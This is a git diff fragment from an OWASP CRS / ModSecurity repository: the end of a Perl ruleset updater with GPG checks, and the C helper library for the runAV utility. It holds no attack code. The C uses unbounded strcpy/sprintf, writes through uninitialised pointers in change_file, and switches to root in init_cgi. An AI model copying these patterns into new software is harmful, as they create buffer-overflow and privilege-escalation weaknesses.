print STDERR sig2str($sig)."\n";
|
||||
}
|
||||
if (!defined($sig)) {
|
||||
die "Signature validation failed.\n";
|
||||
}
|
||||
if ( $sig->{trust} < $REQUIRED_SIG_TRUST ) {
|
||||
die "Signature is not trusted ".$GPG_TRUST{$REQUIRED_SIG_TRUST}.".\n";
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
sub sig2str {
|
||||
my %sig = %{ $_[0] || {} };
|
||||
"Signature made ".localtime($sig{timestamp})." by $sig{user} (ID: $sig{keyid}) and is $GPG_TRUST{$sig{trust}} trusted.";
|
||||
}
|
||||
|
||||
################################################################################
|
||||
################################################################################
|
||||
|
||||
# List what is there
|
||||
if ($opt{l}) { repository_dump(); exit 0 }
|
||||
# Latest stable
|
||||
elsif (defined($opt{S})) { ruleset_fetch_latest($opt{S}, "") }
|
||||
# Latest development
|
||||
elsif (defined($opt{D})) { ruleset_fetch_latest($opt{D}, "dev") }
|
||||
# Latest release candidate
|
||||
elsif (defined($opt{R})) { ruleset_fetch_latest($opt{R}, "rc") }
|
||||
# Latest unstable
|
||||
elsif (defined($opt{U})) { ruleset_fetch_latest($opt{U}, "UNSTABLE") }
|
||||
# Latest (any type)
|
||||
elsif (defined($opt{F})) { ruleset_fetch_latest($opt{F}, undef) }
|
||||
|
||||
# Unpack
|
||||
if ($opt{u}) {
|
||||
if (! defined $opt{s} ) { usage(1, "LocalRules is required for unpacking.") }
|
||||
for (@fetched) {
|
||||
ruleset_unpack($_);
|
||||
}
|
||||
}
|
||||
|
||||
# Unpack
|
||||
if ($opt{e}) {
|
||||
notify_email(@fetched);
|
||||
}
|
653
iis/ModSecurityIIS/owasp_crs/util/runAV/common.c
Normal file
653
iis/ModSecurityIIS/owasp_crs/util/runAV/common.c
Normal file
@@ -0,0 +1,653 @@
|
||||
#include "common.h"
|
||||
|
||||
int lock_file(char *filename)
|
||||
{
|
||||
int fd;
|
||||
|
||||
if (!filename)
|
||||
return -1;
|
||||
|
||||
if ((fd = open(filename,O_RDONLY | O_CREAT , S_IRWXU)) < 0) {
|
||||
print_error("lock_file","open",modsec_rpc_log_file,errno);
|
||||
return -1;
|
||||
}
|
||||
|
||||
flock(fd,LOCK_EX);
|
||||
|
||||
return fd;
|
||||
}
|
||||
|
||||
int unlock_file(int fd)
|
||||
{
|
||||
flock(fd,LOCK_UN);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int print_request(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask)
|
||||
{
|
||||
char time_str[64], line[1024*1024];
|
||||
time_t t;
|
||||
int fd;
|
||||
int i;
|
||||
|
||||
switch (atoi(modsec_rpc_log_level)) {
|
||||
case DEBUG:
|
||||
time(&t);
|
||||
ctime_r(&t,time_str);
|
||||
time_str[strlen(time_str)-1] = '\0';
|
||||
if ((fd = open(modsec_rpc_log_file,O_WRONLY | O_CREAT | O_APPEND | O_SYNC , S_IRWXU)) < 0) {
|
||||
print_error("print_request","open",modsec_rpc_log_file,errno);
|
||||
fd=2;
|
||||
}
|
||||
flock(fd,LOCK_EX);
|
||||
sprintf(line,"%s:REQUEST-BEGIN:======================================\n",time_str);
|
||||
line[1024*1024-1]='\0';
|
||||
write(fd,line,strlen(line));
|
||||
snprintf(line,1024*1024,"URL:%s\nCommand:%s\n",url,command);
|
||||
line[1024*1024-1]='\0';
|
||||
write(fd,line,strlen(line));
|
||||
for (i=0; i<num_of_parameters; i++) {
|
||||
snprintf(line,1024*1024,"%s=",parameters[i].name);
|
||||
line[1024*1024-1]='\0';
|
||||
write(fd,line,strlen(line));
|
||||
if (i == mask) {
|
||||
sprintf(line,"XXXXXXX\n");
|
||||
write(fd,line,strlen(line));
|
||||
} else {
|
||||
if (parameters[i].value) {
|
||||
snprintf(line,1024*1024,"%s\n",parameters[i].value);
|
||||
line[1024*1024-1]='\0';
|
||||
}
|
||||
else sprintf(line,"\n");
|
||||
write(fd,line,strlen(line));
|
||||
}
|
||||
|
||||
}
|
||||
sprintf(line,"%s:REQUEST-END:========================================\n",time_str);
|
||||
write(fd,line,strlen(line));
|
||||
flock(fd,LOCK_UN);
|
||||
if (fd!=2) close(fd);
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int print_request_force(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask)
|
||||
{
|
||||
char real_level[1024];
|
||||
|
||||
strcpy(real_level,modsec_rpc_log_level);
|
||||
strcpy(modsec_rpc_log_level,"1");
|
||||
print_request(url,command,parameters,num_of_parameters,mask);
|
||||
strcpy(modsec_rpc_log_level,real_level);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int print_reply(char *reply)
|
||||
{
|
||||
char time_str[64];
|
||||
time_t t;
|
||||
int fd;
|
||||
|
||||
printf("%s",reply);
|
||||
switch (atoi(modsec_rpc_log_level)) {
|
||||
case DEBUG:
|
||||
time(&t);
|
||||
ctime_r(&t,time_str);
|
||||
time_str[strlen(time_str)-1] = '\0';
|
||||
if ((fd = open(modsec_rpc_log_file,O_WRONLY | O_CREAT | O_APPEND | O_SYNC , S_IRWXU)) < 0) {
|
||||
print_error("print_request","open",modsec_rpc_log_file,errno);
|
||||
fd=2;
|
||||
}
|
||||
flock(fd,LOCK_EX);
|
||||
write(fd,reply,strlen(reply));
|
||||
flock(fd,LOCK_UN);
|
||||
if (fd!=2) close(fd);
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int print_error(char *func1, char* func2, char* str, int err)
|
||||
{
|
||||
char out[1024], time_str[64], line[1024*1024];
|
||||
char str1[1024], str2[1024], str3[1024];
|
||||
time_t t;
|
||||
int fd;
|
||||
|
||||
time(&t);
|
||||
ctime_r(&t,time_str);
|
||||
time_str[strlen(time_str)-1] = '\0';
|
||||
if (err)
|
||||
strcpy(out,strerror(err));
|
||||
else
|
||||
strcpy(out,"");
|
||||
if (!func1)
|
||||
strcpy(str1,"");
|
||||
else {
|
||||
strncpy(str1,func1,1024);
|
||||
str1[1023]='\0';
|
||||
}
|
||||
if (!func2)
|
||||
strcpy(str2,"");
|
||||
else {
|
||||
strncpy(str2,func2,1024);
|
||||
str2[1023]='\0';
|
||||
}
|
||||
if (!str)
|
||||
strcpy(str3,"");
|
||||
else {
|
||||
strncpy(str3,str,1024);
|
||||
str3[1023]='\0';
|
||||
}
|
||||
|
||||
if ((fd = open(modsec_rpc_log_file,O_WRONLY | O_CREAT | O_APPEND | O_SYNC , S_IRWXU)) < 0) {
|
||||
fprintf(stderr,"%s:ERROR:print_error:open:%s:%s\n",time_str,strerror(errno),modsec_rpc_log_file);
|
||||
fd=2;
|
||||
}
|
||||
snprintf(line,1024*1024,"%s:ERROR:%s:%s:%s:%s\n",time_str,str1,str2,out,str3);
|
||||
line[1024*1024-1]='\0';
|
||||
flock(fd,LOCK_EX);
|
||||
write(fd,line,strlen(line));
|
||||
flock(fd,LOCK_UN);
|
||||
if (fd!=2) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int is_proxy_up()
|
||||
{
|
||||
int pid;
|
||||
FILE *fp;
|
||||
|
||||
if ((fp = fopen(modsec_proxy_pid,"r")) == NULL )
|
||||
return 0;
|
||||
|
||||
if (fscanf(fp,"%d",&pid) == 0) {
|
||||
print_error("is_proxy_up","fscanf","missing PID",0);
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
if (!pid || kill(pid,0))
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int run_cmd(char *command, char *output, int output_size)
|
||||
{
|
||||
char line[1024];
|
||||
FILE *fp;
|
||||
|
||||
if (output_size > 0 && output) output[0]='\0';
|
||||
if (!(fp=popen(command,"r"))) {
|
||||
print_error("run_cmd","popen",command,errno);
|
||||
return -1;
|
||||
}
|
||||
|
||||
while (output_size && fgets(line,output_size>1024?1024:output_size,fp)) {
|
||||
strcat(output, line);
|
||||
output_size -= strlen(line);
|
||||
}
|
||||
|
||||
if (!output_size)
|
||||
while (fgets(line,1024,fp));
|
||||
|
||||
pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int find_param_idx(char *parameter_name, parameter_t *parameters, int max_parameters)
|
||||
{
|
||||
int i, idx=-1;
|
||||
|
||||
for (i = 0; (i < max_parameters) && (idx < 0); i++)
|
||||
if ( strstr(parameters[i].name,parameter_name) )
|
||||
idx=i;
|
||||
return idx;
|
||||
}
|
||||
|
||||
int parse_file(char *filename, parameter_t *parameters, int max_parameters)
|
||||
{
|
||||
char line[1024], *ptr;
|
||||
int i;
|
||||
FILE *fp;
|
||||
|
||||
if (!max_parameters || (parameters == NULL) || (filename == NULL)) {
|
||||
print_error("parse_file","invalid input parameters","none",0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ((fp = fopen(filename,"r")) == NULL ) {
|
||||
print_error("parse_file","fopen",filename,errno);
|
||||
return 0;
|
||||
}
|
||||
|
||||
i=0;
|
||||
while ( i < max_parameters && fgets(line,1024,fp)) {
|
||||
if (ptr = strstr(line,"#"))
|
||||
*ptr='\0';
|
||||
if (sscanf(line,"%[^=]=%s",parameters[i].name,parameters[i].value) != 2)
|
||||
continue;
|
||||
i++;
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
|
||||
return i;
|
||||
}
|
||||
|
||||
int change_file(char *filename, parameter_t parameter)
|
||||
{
|
||||
char line[1024], *name, *value;
|
||||
int i, found=0;
|
||||
FILE *fp;
|
||||
|
||||
if (filename == NULL)
|
||||
return 0;
|
||||
|
||||
if ((fp = fopen(filename,"r+")) == NULL )
|
||||
return 0;
|
||||
|
||||
i=0;
|
||||
while ( fgets(line,1024,fp)) {
|
||||
sscanf(line,"%[^=]=%s",name,value);
|
||||
if (name && !strcmp(name,parameter.name)) {
|
||||
fprintf(fp,"%s=%s\n",name,parameter.value);
|
||||
found=1;
|
||||
continue;
|
||||
} else fprintf(fp,"%s",line);
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
return found;
|
||||
}
|
||||
|
||||
int copy_file(char *src_file, char *dst_file)
|
||||
{
|
||||
char line[1024];
|
||||
FILE *sfp, *dfp;
|
||||
|
||||
if (src_file == NULL || dst_file == NULL)
|
||||
return 0;
|
||||
|
||||
if ((sfp = fopen(src_file,"r")) == NULL )
|
||||
return 0;
|
||||
|
||||
if ((dfp = fopen(dst_file,"w")) == NULL ) {
|
||||
fclose(sfp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
while ( fgets(line,1024,sfp))
|
||||
fprintf(dfp,"%s",line);
|
||||
|
||||
fclose(sfp);
|
||||
fclose(dfp);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int parse_query(char *query, parameter_t *parameters, int max_parameters)
|
||||
{
|
||||
char *ptr, *dst_ptr, num[3];
|
||||
int i, len;
|
||||
|
||||
if (!max_parameters || (parameters == NULL) || (query == NULL))
|
||||
return 0;
|
||||
|
||||
ptr=query;
|
||||
i=0;
|
||||
while ((i < max_parameters) && *ptr) {
|
||||
parameters[i].name[0] = '\0';
|
||||
dst_ptr = parameters[i].name;
|
||||
len=0;
|
||||
while (*ptr && (*ptr != '=') && (len++ < MAX_NAME_LENGTH)) {
|
||||
if (*ptr == '%' && *(ptr+1) && *(ptr+2)) {
|
||||
num[0]=*(ptr+1);
|
||||
num[1]=*(ptr+2);
|
||||
num[2]='\0';
|
||||
ptr += 3;
|
||||
*dst_ptr=(char)strtol(num,NULL,16);
|
||||
if (*dst_ptr) dst_ptr++;
|
||||
} else *dst_ptr++ = *ptr++;
|
||||
}
|
||||
if (len >= MAX_NAME_LENGTH)
|
||||
while (*ptr && (*ptr != '='))
|
||||
*ptr++;
|
||||
if (*ptr) ptr++;
|
||||
*dst_ptr = '\0';
|
||||
parameters[i].value[0] = '\0';
|
||||
dst_ptr = parameters[i].value;
|
||||
len=0;
|
||||
while (*ptr && (*ptr != '&') && (len++ < MAX_VALUE_LENGTH)) {
|
||||
if (*ptr == '%' && *(ptr+1) && *(ptr+2)) {
|
||||
num[0]=*(ptr+1);
|
||||
num[1]=*(ptr+2);
|
||||
num[2]='\0';
|
||||
ptr += 3;
|
||||
*dst_ptr=(char)strtol(num,NULL,16);
|
||||
if (*dst_ptr) dst_ptr++;
|
||||
} else *dst_ptr++ = *ptr++;
|
||||
}
|
||||
if (len >= MAX_VALUE_LENGTH)
|
||||
while (*ptr && (*ptr != '&'))
|
||||
*ptr++;
|
||||
if (*ptr) ptr++;
|
||||
*dst_ptr = '\0';
|
||||
i++;
|
||||
}
|
||||
|
||||
return i;
|
||||
}
|
||||
|
||||
int parse_query_and_body (parameter_t *parameters, int max_parameters)
|
||||
{
|
||||
char *query, *content_length_env;
|
||||
int i, num_of_params, body_len, content_length;
|
||||
|
||||
query = getenv("QUERY_STRING");
|
||||
if (query && *query)
|
||||
return(parse_query(query,parameters,max_parameters));
|
||||
else {
|
||||
content_length_env = getenv("CONTENT_LENGTH");
|
||||
if (!content_length_env)
|
||||
return 0;
|
||||
if (! *content_length_env)
|
||||
return 0;
|
||||
content_length=atol(content_length_env);
|
||||
if (!(query=malloc(content_length+1)))
|
||||
return 0;
|
||||
i = 1; body_len=0;
|
||||
while ( (body_len < content_length) && (i>0) ) {
|
||||
i = read(0,query+body_len,(content_length-body_len)<1024?(content_length-body_len):1024);
|
||||
if (i > 0 ) body_len+=i;
|
||||
}
|
||||
query[body_len] = '\0';
|
||||
num_of_params = parse_query(query,parameters,max_parameters);
|
||||
free(query);
|
||||
return num_of_params;
|
||||
}
|
||||
}
|
||||
|
||||
int parse_cli (parameter_t *parameters, int max_parameters, int num_of_args, char *args[])
|
||||
{
|
||||
char name[MAX_NAME_LENGTH], value[MAX_VALUE_LENGTH];
|
||||
int i, num_of_params=0;
|
||||
|
||||
if (num_of_args > 0)
|
||||
for (i=0; i<num_of_args && i<max_parameters; i++) {
|
||||
if (sscanf(args[i],"%[^=]=%s",name,value) < 2)
|
||||
continue;
|
||||
if (strlen(name) < MAX_NAME_LENGTH)
|
||||
strcpy(parameters[num_of_params].name,name);
|
||||
else continue;
|
||||
if (strlen(value) < MAX_VALUE_LENGTH) {
|
||||
strcpy(parameters[num_of_params].value,value);
|
||||
num_of_params++;
|
||||
}
|
||||
}
|
||||
return num_of_params;
|
||||
}
|
||||
|
||||
int send_request(char *request,char *ip,char *port,char *reply,int max_reply_size)
|
||||
{
|
||||
int sock, i, reply_len;
|
||||
struct sockaddr_in servaddr;
|
||||
|
||||
reply[0]='\0';
|
||||
reply_len=0;
|
||||
if (!request || !*request || !ip || !port || !reply || !max_reply_size)
|
||||
return -1;
|
||||
|
||||
memset(&servaddr, 0, sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_port = htons((short)atol(port));
|
||||
if ( inet_aton(ip, &servaddr.sin_addr) <= 0 )
|
||||
return -1;
|
||||
|
||||
if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
|
||||
print_error("send_request","socket",ip,errno);
|
||||
return -1;
|
||||
}
|
||||
if ( connect(sock, (struct sockaddr *) &servaddr, sizeof(servaddr) ) < 0 ) {
|
||||
print_error("send_request","connect",ip,errno);
|
||||
close(sock);
|
||||
return -1;
|
||||
}
|
||||
|
||||
i = strlen(request);
|
||||
if ( write(sock,request,i) < i ) {
|
||||
print_error("send_request","write",ip,errno);
|
||||
shutdown(sock,SHUT_RDWR);
|
||||
close(sock);
|
||||
return -1;
|
||||
}
|
||||
|
||||
i = 1; reply_len=0;
|
||||
while ( (reply_len < max_reply_size) && (i>0) ) {
|
||||
i = read(sock,reply+reply_len,(max_reply_size-reply_len)<1024?(max_reply_size-reply_len):1024);
|
||||
if (i > 0 ) reply_len+=i;
|
||||
}
|
||||
reply[reply_len] = '\0';
|
||||
|
||||
shutdown(sock,SHUT_RDWR);
|
||||
close(sock);
|
||||
return reply_len;
|
||||
}
|
||||
|
||||
int find_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips)
|
||||
{
|
||||
int i, idx=-1;
|
||||
|
||||
for (i = 0; (i < num_of_ips) && (idx < 0); i++)
|
||||
if ( strstr(blocklist[i].ip,ip) )
|
||||
idx=i;
|
||||
return idx;
|
||||
}
|
||||
|
||||
int remove_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips)
|
||||
{
|
||||
int i, j, idx=-1;
|
||||
time_t t;
|
||||
|
||||
time(&t);
|
||||
for (i = 0; i < num_of_ips; i++)
|
||||
if ( (ip && strstr(blocklist[i].ip,ip)) || (!ip && (t > blocklist[i].end)) ) {
|
||||
idx=i;
|
||||
for (j=i; j<(num_of_ips-1); j++) {
|
||||
strcpy(blocklist[j].ip,blocklist[j+1].ip);
|
||||
blocklist[j].start = blocklist[j+1].start;
|
||||
blocklist[j].duration = blocklist[j+1].duration;
|
||||
blocklist[j].end = blocklist[j+1].end;
|
||||
strcpy(blocklist[j].token,blocklist[j+1].token);
|
||||
}
|
||||
num_of_ips--;
|
||||
}
|
||||
return idx;
|
||||
}
|
||||
|
||||
int read_conf_file (char *filename)
|
||||
{
|
||||
int idx, num_of_params;
|
||||
parameter_t parameters[MAX_PARAMS];
|
||||
|
||||
num_of_params=parse_file(filename,parameters,MAX_PARAMS);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_CLI_HOME",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_cli_home,parameters[idx].value);
|
||||
if ((idx = find_param_idx("MODSEC_RPC_HOME",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_home,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_LOG_FILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_log_file,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_LOG_LEVEL",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_log_level,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_SSL_LOCKFILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_ssl_lockfile,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_SENSOR_LOCKFILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_sensor_lockfile,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_REVERSEPROXY_LOCKFILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_reverseproxy_lockfile,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_EXTERNALNIC_LOCKFILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_externalnic_lockfile,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_MUI_LOCKFILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_mui_lockfile,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_LOG_LEVEL",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_log_level,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_HOME",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_home,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_IP",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_ip,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_PORT",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_port,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_NETWORK_PREFIX",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_network_prefix,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_BIN",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_bin,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_CONF",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_conf,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_EXT_NIC",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_ext_nic,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_PID",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_pid,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_WHITELIST",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_whitelist,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_BLACKLIST",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_blacklist,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_TIMEOUT",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_timeout,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_EXCHANGE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_exchange,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_EXT_IPS",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_ext_ips,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_MUI_UI_ADMIN",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_mui_ui_admin,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC_PASSWORD_FILE",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc_password_file,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_MUI_UI_IPADDRESS",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_mui_ui_ipaddress,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_MUI_UI_PORT",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_mui_ui_port,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("SENSOR_ID",parameters,num_of_params)) >= 0)
|
||||
strcpy(sensor_id,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("SERIAL",parameters,num_of_params)) >= 0)
|
||||
strcpy(serial,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("VERSION_NUMBER",parameters,num_of_params)) >= 0)
|
||||
strcpy(version_number,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("RELEASE_DATE",parameters,num_of_params)) >= 0)
|
||||
strcpy(release_date,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("BRIDGE_MODE",parameters,num_of_params)) >= 0)
|
||||
strcpy(bridge_mode,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("DATA_DISK_SPACE",parameters,num_of_params)) >= 0)
|
||||
strcpy(data_disk_space,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("CONN_RATE",parameters,num_of_params)) >= 0)
|
||||
strcpy(conn_rate,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("CONN_RATE_PER_ADDR",parameters,num_of_params)) >= 0)
|
||||
strcpy(conn_rate_per_addr,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("CONNS",parameters,num_of_params)) >= 0)
|
||||
strcpy(conns,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("CONNS_PER_ADDR",parameters,num_of_params)) >= 0)
|
||||
strcpy(conns_per_addr,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_RPC",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_rpc,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy,parameters[idx].value);
|
||||
|
||||
if ((idx = find_param_idx("MODSEC_PROXY_SCRIPT",parameters,num_of_params)) >= 0)
|
||||
strcpy(modsec_proxy_script,parameters[idx].value);
|
||||
|
||||
return num_of_params;
|
||||
}
|
||||
|
||||
int init_cgi()
|
||||
{
|
||||
char *modsec;
|
||||
|
||||
setresuid(0,0,0);
|
||||
setresgid(0,0,0);
|
||||
|
||||
strcpy(modsec_cli_home,"/opt/modsecurity-cli");
|
||||
strcpy(modsec_rpc_home,"/opt/modsecurity-rpc");
|
||||
strcpy(modsec_rpc_log_file,"/opt/modsecurity-rpc/var/logs/rpc.log");
|
||||
strcpy(modsec_rpc_log_level,"0");
|
||||
strcpy(modsec_rpc_ssl_lockfile,"/opt/modsecurity-rpc/var/run/ssl.lock");
|
||||
strcpy(modsec_rpc_sensor_lockfile,"/opt/modsecurity-rpc/var/run/sensor.lock");
|
||||
strcpy(modsec_rpc_externalnic_lockfile,"/opt/modsecurity-rpc/var/run/externalnic.lock");
|
||||
strcpy(modsec_rpc_reverseproxy_lockfile,"/opt/modsecurity-rpc/var/run/reverseproxy.lock");
|
||||
strcpy(modsec_rpc_mui_lockfile,"/opt/modsecurity-rpc/var/run/mui.lock");
|
||||
strcpy(modsec_proxy_home,"/opt/modsecurity-proxy");
|
||||
strcpy(modsec_proxy_ip,"127.0.0.2");
|
||||
strcpy(modsec_proxy_port,"80");
|
||||
strcpy(modsec_proxy_bin,"/bin/modsec-proxyd");
|
||||
strcpy(modsec_proxy_script,"/etc/init.d/modsec-proxy");
|
||||
strcpy(modsec_proxy_conf,"/etc/httpd.conf");
|
||||
strcpy(modsec_proxy_ext_nic,"eth0");
|
||||
strcpy(modsec_proxy_network_prefix,"172.16.0.0/12");
|
||||
strcpy(modsec_proxy_pid,"/opt/modsecurity-proxy/var/run/httpd.pid");
|
||||
strcpy(modsec_proxy_whitelist,"/opt/breach/etc/modsec_whitelist.conf");
|
||||
strcpy(modsec_proxy_blacklist,"/opt/breach/etc/modsec_blacklist.conf");
|
||||
strcpy(modsec_proxy_timeout,"120");
|
||||
strcpy(modsec_proxy_exchange,"/opt/modsecurity-proxy/var/exchange");
|
||||
strcpy(modsec_proxy_ext_ips,"/opt/breach/etc/modsec_ips.conf");
|
||||
strcpy(modsec_mui_ui_ipaddress,"127.0.0.1");
|
||||
strcpy(modsec_mui_ui_port,"443");
|
||||
strcpy(modsec_rpc_password_file,"/opt/modsecurity-rpc/etc/.htpasswd");
|
||||
strcpy(modsec_mui_ui_admin,"admin");
|
||||
strcpy(sensor_id,"1");
|
||||
strcpy(serial,"1");
|
||||
strcpy(version_number,"2.0");
|
||||
strcpy(bridge_mode,"off");
|
||||
strcpy(data_disk_space,"60");
|
||||
strcpy(release_date,"11-15-2006");
|
||||
strcpy(conn_rate,"0");
|
||||
strcpy(conn_rate_per_addr,"0");
|
||||
strcpy(conns,"0");
|
||||
strcpy(conns_per_addr,"0");
|
||||
|
||||
if (modsec = getenv("MODSEC"))
|
||||
read_conf_file(modsec);
|
||||
else {
|
||||
if (!read_conf_file("/opt/breach/etc/modsec.conf"))
|
||||
read_conf_file("/etc/modsec.conf");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
99
iis/ModSecurityIIS/owasp_crs/util/runAV/common.h
Normal file
99
iis/ModSecurityIIS/owasp_crs/util/runAV/common.h
Normal file
@@ -0,0 +1,99 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
#include <time.h>
|
||||
#include <fcntl.h>
|
||||
#include <crypt.h>
|
||||
|
||||
#define MAX_PARAMS 256
|
||||
#define MAX_IPS 256
|
||||
#define MAX_NAME_LENGTH 256
|
||||
#define MAX_VALUE_LENGTH 1024
|
||||
#define MAX_CMD_LENGTH 1024
|
||||
#define MAX_TOKEN_LENGTH 1024
|
||||
#define MAX_OUTPUT_LINE_LEN (1024)
|
||||
#define MAX_OUTPUT_SIZE (MAX_OUTPUT_LINE_LEN*1024)
|
||||
#define WHITE 1
|
||||
#define BLACK 0
|
||||
#define NONE 0
|
||||
#define DEBUG 1
|
||||
|
||||
typedef struct {
|
||||
char name[MAX_NAME_LENGTH];
|
||||
char value[MAX_VALUE_LENGTH];
|
||||
} parameter_t;
|
||||
|
||||
typedef struct {
|
||||
char ip[16];
|
||||
time_t start;
|
||||
long duration;
|
||||
time_t end;
|
||||
char token[MAX_TOKEN_LENGTH];
|
||||
} blocklist_t;
|
||||
|
||||
EXTERN int lock_file(char *filename);
|
||||
EXTERN int unlock_file(int fd);
|
||||
EXTERN int print_reply(char *reply);
|
||||
EXTERN int print_error(char *func1, char* func2, char* str, int err);
|
||||
EXTERN int print_request(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask);
|
||||
EXTERN int print_request_force(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask);
|
||||
EXTERN int is_proxy_up();
|
||||
EXTERN int run_cmd(char *command, char *output, int output_size);
|
||||
EXTERN int parse_cli (parameter_t *parameters, int max_parameters, int num_of_args, char *args[]);
|
||||
EXTERN int parse_query_and_body(parameter_t *parameters, int max_parameters);
|
||||
EXTERN int parse_query(char *query, parameter_t *parameters, int max_parameters);
|
||||
EXTERN int parse_file(char *filename, parameter_t *parameters, int max_parameters);
|
||||
EXTERN int copy_file(char *src_file, char *dst_file);
|
||||
EXTERN int change_file(char *filename, parameter_t parameter);
|
||||
EXTERN int find_param_idx(char *parameter_name, parameter_t *parameters, int max_parameters);
|
||||
EXTERN int init_cgi();
